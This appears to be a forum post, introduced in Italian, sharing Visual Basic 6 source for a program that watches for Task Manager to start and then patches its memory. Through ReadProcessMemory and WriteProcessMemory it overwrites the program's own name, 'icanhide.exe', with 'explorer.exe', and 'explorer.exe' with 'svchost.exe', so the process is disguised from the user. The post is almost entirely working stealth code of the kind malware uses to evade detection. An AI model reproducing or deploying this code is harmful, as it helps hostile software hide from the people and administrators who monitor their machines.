Il codice originale è il seguente:

Nel FORM:

Public Sub Timer3_Timer()

'Disable this event until processing complete. - Stops CPU hammering!!
Timer3.Enabled = False
newproclist$ = ""
Dim myProcess As PROCESSENTRY32
Dim mySnapshot As Long

myProcess.dwSize = Len(myProcess)
mySnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)

ProcessFirst mySnapshot, myProcess

'------------------
'Is this task new??
'------------------
If InStr(1, myproclist$, "[" & myProcess.th32ProcessID & "]") = 0 Then
'-----------------------
'Is this "taskmgr.exe"??
'-----------------------
If Left(myProcess.szexeFile, InStr(myProcess.szexeFile, Chr(0)) - 1) = "taskmgr.exe" Then
'----------------------------------------------------------
'Yes.. then disguise "icanhide.exe" in the processes memory
'----------------------------------------------------------
REPSTRINGINPROC myProcess.th32ProcessID, 1
REPSTRINGINPROC myProcess.th32ProcessID, 0
'Me.Hide
Else
DoEvents 'ignore this process
End If
End If

'create new process list (to replace myproclist$ later - the comparison list)
newproclist$ = "[" & myProcess.th32ProcessID & "]"

'Same as above but for each of the other processes
While ProcessNext(mySnapshot, myProcess)
If InStr(1, myproclist$, "[" & myProcess.th32ProcessID & "]") = 0 Then
If Left(myProcess.szexeFile, InStr(myProcess.szexeFile, Chr(0)) - 1) = "taskmgr.exe" Then
REPSTRINGINPROC myProcess.th32ProcessID, 1
REPSTRINGINPROC myProcess.th32ProcessID, 0
Else
DoEvents 'ignore this process
End If
End If
newproclist$ = newproclist$ & "[" & myProcess.th32ProcessID & "]"
Wend

'set myproclist to new processes against latest processes checked
myproclist$ = newproclist$

're-enable the timer
Timer3.Enabled = True

End Sub

Private Sub REPSTRINGINPROC(PIDX As Long, SHOWME As Integer)

If SHOWME = 1 Then Me.Show: DoEvents

If Not InitProcHack(PIDX) Then Exit Sub

'We are using 20016 as opposed to 20000 so that there is an overlap (so we catch the string if it crosses buffer limits!!)

Dim c As Integer
Dim addr As Long
Dim buffer As String * 20016
Dim readlen As Long
Dim writelen As Long
If SHOWME = 1 Then
SRCHSTRING = UNICODE("explorer.exe")
REPSTRING$ = UNICODE("svchost.exe ")
frmMain.lblStatus.Caption = "Process patching 1/2..."
frmMain.lblStatus2.Caption = "Process patching 1/2..."
DoEvents

For addr = 0 To 4000 ' loop through buffers
Call ReadProcessMemory(myHandle, addr * 20000, buffer, 20016, readlen)
If addr / 100 = Int(addr / 100) Then
frmMain.lblStatus2.Caption = "Process patching 1/2 " & Int(addr / 40) & "%": frmMain.lblStatus.Caption = "Process patching 1/2 " & Int(addr / 40) & "%": Picture2.Width = Int(addr * (Picture1.Width / 4000)): DoEvents
End If

If readlen > 0 Then

startpos = 1
While InStr(startpos, buffer, SRCHSTRING) > 0
p = (addr) * 20000 + InStr(startpos, buffer, SRCHSTRING) - 1 ' position of string
Call WriteProcessMemory(myHandle, CLng(p), REPSTRING$, Len(REPSTRING$), bytewrite)
'highpoint = addr
startpos = InStr(startpos, buffer, Trim(SRCHSTRING)) + 1 ' find next position
Wend
End If

Next addr
frmMain.lblStatus.Caption = "Process patching 2/2..."
DoEvents

End If


SRCHSTRING = UNICODE("icanhide.exe")
REPSTRING$ = UNICODE("explorer.exe")

For addr = 0 To 4000 ' loop through buffers
If addr / 100 = Int(addr / 100) Then
frmMain.lblStatus.Caption = "Process patching 2/2 " & Int(addr / 40) & "%": frmMain.lblStatus.Caption = "Process patching 2/2 " & Int(addr / 40) & "%": Picture2.Width = Int(addr * (Picture1.Width / 4000)): DoEvents
End If
Call ReadProcessMemory(myHandle, addr * 20000, buffer, 20016, readlen)
If readlen > 0 Then


startpos = 1
While InStr(startpos, buffer, SRCHSTRING) > 0
p = (addr) * 20000 + InStr(startpos, buffer, SRCHSTRING) - 1 ' position of string
Call WriteProcessMemory(myHandle, CLng(p), REPSTRING$, Len(REPSTRING$), bytewrite)
'highpoint = addr
startpos = InStr(startpos, buffer, Trim(SRCHSTRING)) + 1 ' find next position
Wend
End If

Next addr
DoEvents
Close #1
Me.Hide: DoEvents
'MsgBox highpoint
End Sub

************************************************** *******************
Nel Modulo:
Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Declare Function FormatMessage Lib "kernel32" Alias "FormatMessageA" (ByVal dwFlags As Long, lpSource As Any, ByVal dwMessageId As Long, ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, Arguments As Long) As Long
Declare Function GetLastError Lib "kernel32" () As Long

Public Const FORMAT_MESSAGE_ALLOCATE_BUFFER = &H100
Public Const FORMAT_MESSAGE_FROM_SYSTEM = &H1000

Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long

Public Const TH32CS_SNAPPROCESS As Long = 2&

Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * 260
End Type

Public myHandle As Long
Public myproclist$

Public Function UNICODE(PREREP As String)
REPIT$ = ""
For p = 1 To Len(PREREP)
REPIT$ = REPIT$ & Chr(0) & Mid(PREREP, p, 1)
Next p
UNICODE = REPIT$
End Function




Function InitProcHack(pid As Long)

pHandle = OpenProcess(&H1F0FFF, False, pid)

If (pHandle = 0) Then
InitProcHack = False
myHandle = 0
Else
InitProcHack = True
myHandle = pHandle
End If

End Function